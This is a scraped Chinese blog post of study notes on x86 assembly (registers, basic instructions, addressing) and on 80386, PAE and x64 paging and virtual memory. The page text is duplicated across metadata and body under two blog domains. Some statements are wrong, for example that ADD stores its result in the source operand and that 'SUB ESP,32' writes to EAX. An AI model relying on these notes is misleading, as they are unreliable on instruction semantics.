EAX</p><p>分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行</p><p>子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行</p><hr><p>内存分页机制</p><p>线性地址</p><p>在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址</p><p>在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离</p><p>进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程</p><p>80386两级页表</p><p>80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节</p><p>一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址</p><p>MMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023</p><p>80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址</p><p>PAE三级页表</p><p>80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）</p><p>PAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址</p><p>PAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移</p><p>x64四级页表</p><p>因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度</p><p>x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量</p><p>虚拟内存</p><p>进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录</p><p>物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中</p><p>虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/>汇编</a></li></ul><nav class=paginav><a class=next href=https://xiaochenabc123.github.io/posts/161/><span class=title>Next »</span><br><span>Deno js运行时环境学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"汇编基础学习笔记","item":"https://chenjunlinabc.github.io/posts/162/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"汇编基础学习笔记","name":"汇编基础学习笔记","description":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中","keywords":["汇编"],"articleBody":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中\n虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时\n","wordCount":"74","inLanguage":"en","datePublished":"2022-11-20T11:49:00Z","dateModified":"2022-11-20T11:49:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/162/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>汇编基础学习笔记</h1><div class=post-meta><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%b1%87%e7%bc%96%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）</p><p>x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的</p><p>32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI</p><p>EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL</p><p>实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL</p><p>EDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL</p><p>ESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI</p><p>EAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器</p><p>ECX被LOOP（循环）指令调用为循环计数器</p><p>ESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器</p><p>ESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址</p><p>EBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量</p><p>除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等</p><p>64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）</p><p>EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的</p><p>x86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）</p><p>整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））</p><p>ADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）</p><p>SUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）</p><p>数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）</p><p>MOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）</p><p>x86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）</p><p>内存最复杂的地址计算公式：base+（index*scale）+displacement</p><p>base和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组</p><p>入栈和出栈指令（PUSH和POP指令）</p><p>PUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX</p><p>POP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX</p><p>分支跳转指令（JMP指令）</p><p>JMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX</p><p>过程调用指令（CALL指令）</p><p>高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX</p><p>分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行</p><p>子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行</p><hr><p>内存分页机制</p><p>线性地址</p><p>在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址</p><p>在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离</p><p>进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程</p><p>80386两级页表</p><p>80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节</p><p>一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址</p><p>MMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023</p><p>80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址</p><p>PAE三级页表</p><p>80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）</p><p>PAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址</p><p>PAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移</p><p>x64四级页表</p><p>因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度</p><p>x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量</p><p>虚拟内存</p><p>进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录</p><p>物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中</p><p>虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/>汇编</a></li></ul><nav class=paginav><a class=next href=https://chenjunlinabc.github.io/posts/161/><span class=title>Next »</span><br><span>Deno js运行时环境学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const 